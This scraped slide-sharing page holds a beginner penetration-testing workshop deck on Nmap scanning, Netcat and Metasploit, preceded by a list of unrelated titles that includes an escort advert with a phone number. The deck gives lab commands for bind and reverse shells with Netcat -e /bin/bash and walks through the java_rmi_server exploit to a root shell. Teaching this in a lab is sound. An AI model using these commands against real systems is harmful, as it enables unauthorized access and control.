The Essentials of Digital Experience Monitoring_ A Comprehensive Guide.pdf
The Essentials of Digital Experience Monitoring_ A Comprehensive Guide.pdfThe Essentials of Digital Experience Monitoring_ A Comprehensive Guide.pdf
The Essentials of Digital Experience Monitoring_ A Comprehensive Guide.pdf
 
Try MyIntelliAccount Cloud Accounting Software As A Service Solution Risk Fre...
Try MyIntelliAccount Cloud Accounting Software As A Service Solution Risk Fre...Try MyIntelliAccount Cloud Accounting Software As A Service Solution Risk Fre...
Try MyIntelliAccount Cloud Accounting Software As A Service Solution Risk Fre...
 
The Evolution of Karaoke From Analog to App.pdf
The Evolution of Karaoke From Analog to App.pdfThe Evolution of Karaoke From Analog to App.pdf
The Evolution of Karaoke From Analog to App.pdf
 
Asset Management Software - Infographic
Asset Management Software - InfographicAsset Management Software - Infographic
Asset Management Software - Infographic
 
The Real-World Challenges of Medical Device Cybersecurity- Mitigating Vulnera...
The Real-World Challenges of Medical Device Cybersecurity- Mitigating Vulnera...The Real-World Challenges of Medical Device Cybersecurity- Mitigating Vulnera...
The Real-World Challenges of Medical Device Cybersecurity- Mitigating Vulnera...
 
EY_Graph Database Powered Sustainability
EY_Graph Database Powered SustainabilityEY_Graph Database Powered Sustainability
EY_Graph Database Powered Sustainability
 
5 Signs You Need a Fashion PLM Software.pdf
5 Signs You Need a Fashion PLM Software.pdf5 Signs You Need a Fashion PLM Software.pdf
5 Signs You Need a Fashion PLM Software.pdf
 
Building a General PDE Solving Framework with Symbolic-Numeric Scientific Mac...
Building a General PDE Solving Framework with Symbolic-Numeric Scientific Mac...Building a General PDE Solving Framework with Symbolic-Numeric Scientific Mac...
Building a General PDE Solving Framework with Symbolic-Numeric Scientific Mac...
 
Russian Call Girls in Karol Bagh Aasnvi ➡️ 8264348440 💋📞 Independent Escort S...
Russian Call Girls in Karol Bagh Aasnvi ➡️ 8264348440 💋📞 Independent Escort S...Russian Call Girls in Karol Bagh Aasnvi ➡️ 8264348440 💋📞 Independent Escort S...
Russian Call Girls in Karol Bagh Aasnvi ➡️ 8264348440 💋📞 Independent Escort S...
 
Unit 1.1 Excite Part 1, class 9, cbse...
Unit 1.1 Excite Part 1, class 9, cbse...Unit 1.1 Excite Part 1, class 9, cbse...
Unit 1.1 Excite Part 1, class 9, cbse...
 
Steps To Getting Up And Running Quickly With MyTimeClock Employee Scheduling ...
Steps To Getting Up And Running Quickly With MyTimeClock Employee Scheduling ...Steps To Getting Up And Running Quickly With MyTimeClock Employee Scheduling ...
Steps To Getting Up And Running Quickly With MyTimeClock Employee Scheduling ...
 
DNT_Corporate presentation know about us
DNT_Corporate presentation know about usDNT_Corporate presentation know about us
DNT_Corporate presentation know about us
 
ODSC - Batch to Stream workshop - integration of Apache Spark, Cassandra, Pos...
ODSC - Batch to Stream workshop - integration of Apache Spark, Cassandra, Pos...ODSC - Batch to Stream workshop - integration of Apache Spark, Cassandra, Pos...
ODSC - Batch to Stream workshop - integration of Apache Spark, Cassandra, Pos...
 
BATTLEFIELD ORM: TIPS, TACTICS AND STRATEGIES FOR CONQUERING YOUR DATABASE
BATTLEFIELD ORM: TIPS, TACTICS AND STRATEGIES FOR CONQUERING YOUR DATABASEBATTLEFIELD ORM: TIPS, TACTICS AND STRATEGIES FOR CONQUERING YOUR DATABASE
BATTLEFIELD ORM: TIPS, TACTICS AND STRATEGIES FOR CONQUERING YOUR DATABASE
 
Salesforce Certified Field Service Consultant
Salesforce Certified Field Service ConsultantSalesforce Certified Field Service Consultant
Salesforce Certified Field Service Consultant
 
Cloud Management Software Platforms: OpenStack
Cloud Management Software Platforms: OpenStackCloud Management Software Platforms: OpenStack
Cloud Management Software Platforms: OpenStack
 

Network Penetration Testing Toolkit - Nmap, Netcat, and Metasploit Basics

  • 1. Network Penetration Testing Toolkit NMAP, NETCAT, AND METASPLOIT BASICS February 22. 2019 DAY OF SHECURITY
  • 2. 2 Kelly Albrink • Network pen testing, wireless security, and hardware hacking • Used to work as an Asian art dealer • Loves 3D printing, science fiction, and video games @Justified_Salt AND HOW DID I GET HERE? whoami Cecillia Tran • External network pen testing & web application pen testing • Previously an Engagement Manager • Loves food. Doesn’t love everything else. @orionoriono
  • 3. 3 Today’s Toolkit: • Nmap – port scanning, fingerprinting, and NSE scripts • Netcat – banner grabbing, bind shells, reverse shells • Metasploit – exploits, payloads, handlers, and database usage TODAY’S BATTLE PLAN Agenda
  • 5. 5 What is? • a shell • Bind shell • Reverse shell • Meterpreter shell • A privileged vs non-privileged user • Root • Administrator • SYSTEM WHAT EXACTLY IS A SHELL? Hacker Terminology
  • 6. 6 What is? • An IP address • Public vs private IPs • A port • A MAC address • TCP protocol • UDP protocol NETWORKS HAVE LAYERS, LIKE AN OGRE Network Basics
  • 8. • What kind of info can nmap tell us?: • Open / closed / filtered ports • MAC Address • Fingerprinting : OS or software version • Misconfigurations & Vulnerabilities • 65,535 possible ports • Ports below 1024 are “privileged ports” nmap <scan type> <options> <ip> PORTS ARE THE DOORS OF THE NETWORK Port Scanning Basics
  • 9. Scan types: • -sT (Connect scan) : completes the 3 way handshake : default non-privileged scan • -sS (SYN scan) half-open scanning : requires root privileges • -sU : UDP scan How does nmap find live hosts? - SYN on port 80 - ACK on port 443 - ICMP echo - ICMP timestamp PORT SCANNING SWISS ARMY KNIFE Have you met Nmap?
  • 10. Additional Scan Types: • -sV (version scan) : service/version info • -sC (script scan) : default NSE scripts • -O : Operating system detection • -A (aggressive) : combines sV, sC, O, and traceroute • -Pn : skip the ICMP part of host discovery GETTING THE RESULTS YOU WANT Nmap - Flags
  • 11. Port scope: • Default scan is top 1000 ports • -p <port#> : scan one or more ports • -p- : scan ports 1-65,535 (no port 0) • --top-ports <#> : scan the most common <#> of ports GETTING THE RESULTS YOU WANT Nmap - Flags 2
  • 12. 12 1) Start with a connect scan of the top 15 ports nmap –sT --top-ports 15 <target_ip> 2) Now lets add a version scan too nmap –sT –sV --top-ports 15 <target_ip> 3) Add a script scan and an OS fingerprint scan nmap –sT –sV -sC –O --top-ports 15 <target_ip> 4) Finally combine these scans (plus traceroute) with an aggressive scan nmap –A --top-ports 15 <target_ip> LAB TIME! Nmap - Exercise
  • 13. • --open : show results of only open ports • --max-retries <#> • -T<0-5> : scan speed • During the scan press d to turn up the debugging level • Press Shift+d to lower the debugging level MAKE YOUR TARGETS DRINK FROM THE FIREHOSE Nmap – Fine Tuning
  • 14. Input/Output files • -iL <file> : list of targets to scan (1/line) • -oN <file> : save in nmap format • -oX <file> : save in xml format • -oG <file> : save greppable format • -oA <file> : save all 3 types JUST KEEP SCANNING Nmap – Saving your results
  • 15. 15 Let’s run a comprehensive scan against all ports AND save our work nmap –sT -sV -sC -O -p- <target_ip> -oA MyFirstScan Take a minute to look at each scan type with the “cat” command cat MyFirstScan.nmap cat MyFirstScan.xml cat MyFirstScan.gnmap LAB TIME! Nmap - Exercise 2
  • 16. Netcat Let’s make a connection.
  • 17. • What can we do with Netcat? • Connect to any host on any port • Grab banners (get software/versions) • Send HTTP requests • Make bind shells • Make reverse shells • What does that look like? • nc <options> <target_ip> <port(s)> WHAT IS NETCAT ANYWAYS? Netcat - Intro
  • 18. Most common options • -n – Don’t do DNS lookup (for IPs) • -l – Listen mode • -p – port (local port on listen, target port on default) • -u - UDP mode • -v - verbose mode • -vv - super verbose mode • -e - program to execute after connection SO MANY OPTIONS Netcat - Flags
  • 19. WHAT ARE YOU? Netcat - Grabbing Banners On your attacker machine • Use netcat to connect to some open ports on your target nc -nvv <target_IP> <port> Ports to try: • 21 - ftp • 22 - ssh • 25 - smtp • 3306 - mySQL
  • 20. WHAT ARE YOU? Netcat - Make an HTTP Request On your attacker machine • Use netcat to connect to port 80 nc -nvv <target_IP> 80 • Now you can manually enter an HTTP request, followed by two line breaks GET / HTTP 1.0 • And this is the result ------------------->>
  • 21. SOMEONE LEFT A DOOR OPEN Netcat - Bind Shells On your target machine • Use netcat to open a port with /bin/bash attached to it. nc -nvlp <port> -e /bin/bash On your attacker machine • connect to the port you just opened on your target machine nc -nv <target_ip> <port> • Run a command • ifconfig • id
  • 22. THIS SHELL PHONES HOME Netcat - Reverse Shells On your attacker machine • Use netcat to open a port nc -nvlp <port> On your target machine • connect to the port you just opened on your kali machine nc -nv <attacker_ip> <port> -e /bin/bash On your attacker machine run: • ifconfig • id
  • 24. • Hacking framework written in ruby • We’re going to cover how to: • Use Nmap with the database • Search for exploits • Scanning modules • Using exploits • Meterpreter shells IT’S RAINING SHELLS, HALLELUJAH! What is Metasploit?
  • 25. • To setup the Metasploit database (We only need to do this step one time) run: • msfdb init • To start Metasploit run: • msfconsole • Every time you start Metasploit, you will see a different banner. To cycle through banners run: • banner GET READY TO HACK Metasploit - Getting Started
  • 26. ORGANIZE AND VIEW YOUR SCAN RESULTS Metasploit and Nmap The Metasploit database will store information gathered on your targets. • To upload nmap scans into Metasploit: • db_import MyFirstScan.xml • To see all imported targets run: • hosts • To see all of the open ports run: • services -u • You can search your results by protocol (-s), a string (-S), a port (-p)
  • 27. READY? Metasploit - Finding Exploits Useful Metasploit Verbs: • help : show available commands • search : find exploits or other modules • use : select a module Try it yourself: Search java_rmi Use java_rmi_server
  • 28. SET YOUR PARAMETERS AND PULL THE TRIGGER Metasploit - Using Exploits • show options : get info about the selected module • Set <param> : set a parameter • exploit/run : run a module Run the following commands: • set RHOST <targetIP> • set target 2 • exploit
  • 29. DO YOUR ROOT DANCE! Metasploit - Exploit Results We got a shell! I ran the id command which shows that we are root! • To background an active shell & return to msfconsole menu : • background • To view your active shells: • sessions • To connect to a session: • sessions -i <session#>
  • 30. SHELLS MADE EASY Metasploit - Meterpreter shells • Meterpreter shells are stealthy because live in memory. • Useful Meterpreter commands: • help : shows available commands • shell : drops you into a traditional command shell • getuid : show your user id • Meterpreter shells can also run msf post modules to gather information, gain persistence, or pivot through the network